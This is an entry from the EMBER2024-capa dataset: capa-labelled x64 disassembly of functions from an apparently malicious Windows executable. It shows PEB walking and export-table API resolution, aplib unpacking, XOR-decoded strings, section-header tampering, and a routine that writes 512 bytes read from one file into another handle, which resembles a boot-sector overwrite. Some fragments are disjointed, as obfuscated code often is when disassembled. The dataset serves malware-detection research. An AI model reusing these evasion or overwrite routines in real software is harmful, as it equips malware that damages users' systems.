joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140078ec0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140078efa
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140078eff
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140078f48
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14007ebc0]
cmp byte [rcx + rax], 0
je 0x140078f48
dec r8
sub rdx, 1
jne 0x140078f2e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14007970c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.140078fd8
mov ebx, eax
test eax, eax
jne 0x14007973c
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14007979f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140079796
test al, 0x10
je 0x140079796
bt eax, 0xa
jae 0x14007978f
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.1400797b0
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14007978b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14007978b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x140079796
and dword [rsp + 0x3c], 0
jmp 0x14007979b
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14007a854
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007a89e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007a89e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007a89e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007a89e
cmp dword [rcx + 0x84], 0xe
jbe 0x14007a89e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007a8a0
xor al, al
add rsp, 0x28
ret
Function at 0x14083d160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14083d2e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14083d191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14083d177
add dl, dl
jne 0x14083d19e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14083d1fe
xor eax, eax
add dl, dl
jne 0x14083d1ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14083d2b5
add dl, dl
jne 0x14083d1be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14083d1cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14083d1d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14083d1e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14083d1f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14083d186
mov eax, 1
add dl, dl
jne 0x14083d20e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14083d21b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14083d203
sub eax, ebx
mov ebx, 1
jne 0x14083d254
mov ecx, 1
add dl, dl
jne 0x14083d236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14083d243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14083d22b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14083d186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14083d270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14083d27d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14083d265
cmp eax, 0x7d00
jae 0x14083d2a3
cmp eax, 0x500
jb 0x14083d29e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14083d186
cmp eax, 0x7f
ja 0x14083d2a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14083d186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14083d2da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14083d186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400011ac
Capabilities:
Create directory

Disassembly:
mov dword [rsp + 0x38], edx
mov qword [rsp + 0x30], rcx
jb 0x1400011fc
jmp 0x14000120b
mov rax, qword [sym.imp.USER32.dll_GetDoubleClickTime]
invalid

Function at 0x1400011bc
Capabilities:
Create directory

Disassembly:
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, 0x65
call rax
lea rcx, str.:
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
call rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x2c], eax
call rcx
sub eax, 3
sbb r8d, r8d
mov eax, dword [esp + 0x38]
and eax, 0x4169a3e1
mov dword [rsp + 0x54], eax
mov r8, qword [rsp + 0x20]
cmp r8, rdx
cmp eax, edx
ja 0x1400011b9
jmp 0x1400011b9

Function at 0x140001210
Capabilities:
Create directory

Disassembly:
mov ecx, eax
mov eax, dword [rsp + 0x38]
add eax, 0x5008bf9e
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x40], 0x29ed8b53
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
shl rdx, cl
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x40]
sub rdx, 0x67b8bbca
mov eax, dword [rsp + 0x38]

Function at 0x14000123c
Capabilities:
Create directory

Disassembly:
mov ecx, eax
mov eax, dword [rsp + 0x38]
add eax, 0x5008bf9e
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x40], 0x29ed8b53
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
shl rdx, cl
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x40]
sub rdx, 0x67b8bbca
mov eax, dword [rsp + 0x38]

Function at 0x140001270
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
rol byte [rbx + 0x107304f8], 1
add rsp, 0x28
ret

Function at 0x1400012a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x2a8
xor eax, eax
mov ecx, eax
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x7c]
mov dword [rsp + 0x2a4], 0x5610dee9
push rsi

Function at 0x1400012c4
Capabilities:
Terminate process

Disassembly:
push rsi
mov qword [rsp + 0x288], 0x943ca17
mov r9, rdx
mov dword [rsp + 0x7c], 0xffffffff
mov r10, qword [rsp + 0x298]

Function at 0x1400012e4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x298], 0x2921e42d

Function at 0x1400012f0
Capabilities:
Terminate process

Disassembly:
mov r11, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
ror byte [rcx + 0x4c8948c6], 0x24
jo 0x140001349
mov ecx, esi
Function at 0x14000131c
Capabilities:
Terminate process

Disassembly:
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0x4d22
mov r8d, 0x200
mov qword [rsp + 0x48], rcx
mov rcx, rax
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x44], edi
and al, 0x44
call rax
lea rcx, [rsp + 0x7c]
mov rdx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
lea r9, [rsp + 0x7c]
mov r10, qword [rsp + 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, r10
mov ecx, edx
mov qword [rsp + 0x30], rdx
mov rdx, r9
mov r9, qword [rsp + 0x30]
mov dword [rsp + 0x2c], eax
call r9
cmp eax, 0
je 0x1400013d7
jmp 0x1400013ae
mov eax, 0xc28d584
mov ecx, eax
mov rdx, qword [rsp + 0x68]
imul r8, rdx, 0x1b1eb659
mov r9, qword [rsp + 0x288]
mov eax, dword [rsp + 0x2a4]
xor eax, 0x5610deef
cmp dword [rsp + 0x7c], eax
je 0x14000137d
jmp 0x1400013cb
xor eax, eax
add rsp, 0x2a8
pop rdi
pop rsi
ret
mov dword [rsp + 0x294], 0x3db98b20
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 7
call rax
ud2

Function at 0x140001340
Capabilities:
Terminate process

Disassembly:
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0x4d22
mov r8d, 0x200
mov qword [rsp + 0x48], rcx
mov rcx, rax
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x44], edi
and al, 0x44
call rax
lea rcx, [rsp + 0x7c]
mov rdx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
lea r9, [rsp + 0x7c]
mov r10, qword [rsp + 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, r10
mov ecx, edx
mov qword [rsp + 0x30], rdx
mov rdx, r9
mov r9, qword [rsp + 0x30]
mov dword [rsp + 0x2c], eax
call r9
cmp eax, 0
je 0x1400013d7
jmp 0x1400013ae
mov eax, 0xc28d584
mov ecx, eax
mov rdx, qword [rsp + 0x68]
imul r8, rdx, 0x1b1eb659
mov r9, qword [rsp + 0x288]
mov eax, dword [rsp + 0x2a4]
xor eax, 0x5610deef
cmp dword [rsp + 0x7c], eax
je 0x14000137d
jmp 0x1400013cb
xor eax, eax
add rsp, 0x2a8
pop rdi
pop rsi
ret
mov dword [rsp + 0x294], 0x3db98b20
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 7
call rax
ud2

Function at 0x140001670
Capabilities:
Create directory

Disassembly:
movsb byte [rdi], byte [rsi]
add byte [r8], al
jmp qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
Function at 0x1400037f0
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x80
xor eax, eax
mov dword [rsp + 0x6c], 0x6669cab2
mov r9d, dword [rsp + 0x6c]
xor r9d, 0x6669cab2
mov r10d, r8d
xor r10d, 0xffffffff
mov dword [rsp + 0x7c], r10d
cmp r8d, r9d
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x5c], r8d
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x4c], eax
je 0x1400038a4
mov eax, dword [rsp + 0x4c]
lea rcx, [0x1400252c0]
mov edx, eax
and edx, 0xf
mov edx, edx
mov r8d, edx
mov edx, dword [rsp + 0x6c]
xor edx, 0x6669cab3
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x40], rcx
mov rcx, r9
mov r10, qword [rsp + 0x60]
mov dword [rsp + 0x3c], edx
mov rdx, r10
mov qword [rsp + 0x30], r8
mov r8d, eax
mov r11, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
movzx r9d, byte [r11 + rsi]
mov dword [rsp + 0x2c], eax
call sym.ATL.DLL_AtlModuleGetClassObject
mov eax, dword [rsp + 0x2c]
mov r8d, dword [rsp + 0x3c]
add eax, r8d
mov r8d, dword [rsp + 0x5c]
cmp eax, r8d
mov dword [rsp + 0x4c], eax
jne 0x140003832
add rsp, 0x80
pop rsi
ret

Function at 0x140003980
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
mov eax, 0x173a69d7
mov edx, 0x4223d576
mov dword [rsp + 0x3c], 0x25b1be8b
sub edx, dword [rsp + 0x3c]
mov dword [rsp + 0x38], edx
mov edx, dword [rsp + 0x38]
add edx, 0x496e9615
mov r8d, dword [rcx + 0x3c]
mov qword [rsp + 0x40], 0x3a880ee1
movsxd r9, r8d
mov r10, rcx
add r10, r9
mov r8d, dword [rcx + r9]
cmp eax, edx
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x2c], r8d
jae 0x1400039f3
xor eax, eax
mov ecx, dword [rsp + 0x2c]
sub ecx, 0x4550
mov edx, eax
mov r8, qword [rsp + 0x30]
cmove rdx, r8
mov rax, rdx
mov dword [rsp + 0x28], ecx
add rsp, 0x48
ret
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3a59ad19
call rax
xor ecx, ecx
mov eax, ecx
add rsp, 0x48
ret
Function at 0x140990108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14099028f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140990139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14099011f
add dl, dl
jne 0x140990146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409901a6
xor eax, eax
add dl, dl
jne 0x140990155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14099025d
add dl, dl
jne 0x140990166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140990173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140990180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14099018d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14099019a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14099012e
mov eax, 1
add dl, dl
jne 0x1409901b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409901c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409901ab
sub eax, ebx
mov ebx, 1
jne 0x1409901fc
mov ecx, 1
add dl, dl
jne 0x1409901de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409901eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409901d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099012e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140990218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140990225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14099020d
cmp eax, 0x7d00
jae 0x14099024b
cmp eax, 0x500
jb 0x140990246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099012e
cmp eax, 0x7f
ja 0x14099024e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099012e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140990282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14099012e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400018b0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov r8, 0xffffffffffffffff
mov rdi, rcx
mov rcx, r8
xor bl, bl
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], bl
jne 0x1400018d0
shl rcx, 2
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
add rdx, 4
cmovb rdx, r8
mov rcx, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movzx ecx, byte [rdi]
xor r11d, r11d
mov r10, rax
test cl, cl
je 0x140001a1f
mov qword [rsp + 0x38], rbp
mov r8, rax
lea rbp, [0x140004790]
nop dword [rax]
movsx rax, bl
inc bl
mov byte [rsp + rax + 0x30], cl
movsx r9, byte [rsp + 0x30]
cmp bl, 3
jne 0x140001995
movsx edx, byte [rsp + 0x31]
mov ecx, r9d
and ecx, 3
mov rax, r9
sar rax, 2
add r11d, 4
shl ecx, 4
movzx eax, byte [rax + rbp]
mov byte [r8], al
mov eax, edx
sar eax, 4
and edx, 0xf
add eax, ecx
movsx rcx, byte [rsp + 0x32]
cdqe
movzx eax, byte [rax + rbp]
mov byte [r8 + 1], al
mov eax, ecx
sar eax, 6
lea eax, [rax + rdx*4]
cdqe
movzx eax, byte [rax + rbp]
mov byte [r8 + 2], al
mov rax, rcx
and eax, 0x3f
movzx eax, byte [rax + rbp]
mov byte [r8 + 3], al
add r8, 4
xor bl, bl
movzx ecx, byte [rdi + 1]
inc rdi
test cl, cl
jne 0x140001920
test bl, bl
jle 0x140001a1a
mov rax, r9
movsxd rcx, r11d
sar rax, 2
movzx eax, byte [rax + rbp]
mov byte [rcx + r10], al
lea eax, [r11 + 1]
movsxd rdx, eax
lea r8d, [rax + 1]
cmp bl, 1
jne 0x1400019d8
mov eax, r9d
mov r11b, 0x3d
and eax, 3
shl eax, 4
movzx ecx, byte [rax + rbp]
jmp 0x1400019ff
movsx ecx, byte [rsp + 0x31]
mov eax, ecx
sar ecx, 4
and eax, 0xf
shl eax, 2
movzx r11d, byte [rax + rbp]
mov eax, r9d
and eax, 3
shl eax, 4
add eax, ecx
movsxd rcx, eax
movzx ecx, byte [rcx + rbp]
mov byte [rdx + r10], cl
lea edx, [r8 + 1]
movsxd rcx, r8d
mov byte [rcx + r10], r11b
lea r11d, [rdx + 1]
movsxd rcx, edx
mov byte [rcx + r10], 0x3d
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rax, r10
movsxd rcx, r11d
mov byte [rcx + r10], 0
add rsp, 0x20
pop rdi
ret
Function at 0x140002240
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
movsxd r13, dword [rcx + 0x3c]
xor r15d, r15d
mov rbp, rdx
mov rdi, rcx
mov r10d, r15d
mov ebx, dword [r13 + rcx + 0x88]
add rbx, rcx
mov r14d, dword [rbx + 0x1c]
mov r11d, dword [rbx + 0x20]
add r14, rcx
mov r12d, dword [rbx + 0x24]
add r11, rcx
add r12, rcx
cmp rdx, 0x10000
jae 0x1400022bc
mov r8d, dword [rbx + 0x10]
movzx edx, bp
cmp edx, r8d
jb 0x140002407
mov ecx, dword [rbx + 0x14]
add ecx, r8d
cmp edx, ecx
jae 0x140002407
sub edx, r8d
mov r10d, dword [r14 + rdx*4]
jmp 0x140002311
mov esi, dword [rbx + 0x18]
mov r9d, r15d
test esi, esi
je 0x140002314
nop word [rax + rax]
mov r8d, dword [r11]
mov rax, rbp
add r8, rdi
sub r8, rbp
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400022f3
inc rax
test ecx, ecx
jne 0x1400022e0
test edx, edx
je 0x140002305
inc r9d
add r11, 4
cmp r9d, esi
jb 0x1400022d0
jmp 0x140002314
mov eax, r9d
movzx ecx, word [r12 + rax*2]
mov r10d, dword [r14 + rcx*4]
add r10, rdi
cmp r10, rbx
jb 0x1400023e7
mov eax, dword [r13 + rdi + 0x8c]
lea rdx, [rax + rax*4]
lea rax, [rbx + rdx*8]
cmp r10, rax
jae 0x1400023e7
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rsi, rax
test rax, rax
je 0x140002407
mov edx, 0x2e
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov r14, rax
mov byte [rax], r15b
mov rax, qword [0x140006878]
test rax, rax
jne 0x1400023c2
mov rcx, qword gs:[0x60]
mov rdi, qword [rcx + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x1400023a7
mov rcx, qword [rbx + 0x50]
lea rdx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400023a3
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140002384
jmp 0x1400023a7
mov r15, qword [rbx + 0x20]
lea rdx, [0x1400047d0]
mov rcx, r15
call fcn.140002240
mov qword [0x140006878], rax
test rax, rax
je 0x140002407
mov rcx, rsi
call rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbx, rbx
je 0x140002407
lea rdx, [r14 + 1]
mov rcx, rbx
call fcn.140002240
mov r10, rax
mov rax, r10
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor eax, eax
jmp 0x1400023ea

Function at 0x140002ce0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002d2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d2c
xor al, al
add rsp, 0x28
ret
Function at 0x140002d9c
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
test rax, rax
je 0x140002e6a
movsxd rcx, dword [rax + 0x3c]
lea r14d, [rsi + 8]
add rcx, rax
mov qword [rbp + 0x40], rcx
mov ecx, r14d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rbp + 0x40]
mov edi, esi
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
cmp si, word [rcx + 6]
jae 0x140002e3a
mov edx, 0x28
lea r9, [rbp + 0x30]
mov rcx, rbx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, dword [rbp + 0x30]
lea r9, [rbp + 0x30]
mov edx, 0x28
mov byte [rbx], al
mov rcx, rbx
mov byte [rbx + 1], sil
mov qword [rbx + 8], rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rbp + 0x40]
inc edi
add rbx, 0x28
movzx ecx, word [rax + 6]
cmp edi, ecx
jb 0x140002dec
lea r9, [rbp + 0x38]
mov r8d, 0x40
mov rdx, r14
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rbp + 0x38]
lea r9, [rbp + 0x38]
mov rdx, r14
mov qword [rbp + 0x40], rsi
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140003930
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov rax, qword [0x14016e040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov eax, dword [0x14013f578]
lea r9, [rbp + 0x27]
movups xmm0, xmmword [0x14013f558]
mov dword [rbp + 0x47], eax
xor r8d, r8d
movups xmm1, xmmword [0x14013f568]
movzx eax, word [0x14013f57c]
mov esi, 0x1f7047dd
movups xmmword [rbp + 0x27], xmm0
mov word [rbp + 0x4b], ax
movups xmmword [rbp + 0x37], xmm1
mov eax, esi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x14000398f
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x27]
and dword [rsp + 0x28], 0
mov ebx, 3
mov r8d, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003ae8
mov ecx, dword [0x14013f420]
lea r9, [rbp + 0xf]
movups xmm0, xmmword [0x14013f410]
mov dword [rbp + 0x1f], ecx
xor r8d, r8d
movzx ecx, word [0x14013f424]
movups xmmword [rbp + 0xf], xmm0
mov word [rbp + 0x23], cx
mov eax, esi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x37
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xb
jl 0x140003a1e
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0xf]
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003ae8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x140003ae8
mov ecx, eax
call fcn.140118f6c
and qword [rsp + 0x20], 0
lea r9, [rbp + 7]
mov r8d, 0x200
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140003ad6
and qword [rsp + 0x20], 0
lea r9, [rbp + 7]
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140118ad0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140003b10
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x14016e040]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x20], 0x8e8d8788
xor ecx, ecx
mov dword [rbp - 0x1c], 0x82998385
mov dword [rbp - 0x18], 0xd5cbd386
mov word [rbp - 0x14], 0xc9
mov byte [rbp - 0x12], 1
lea eax, [rcx - 0x16]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xd
jb 0x140003b48
lea rcx, [rbp - 0x20]
mov byte [rbp - 0x12], 0
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003930
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140118ad0
add rsp, 0x40
pop rbp
ret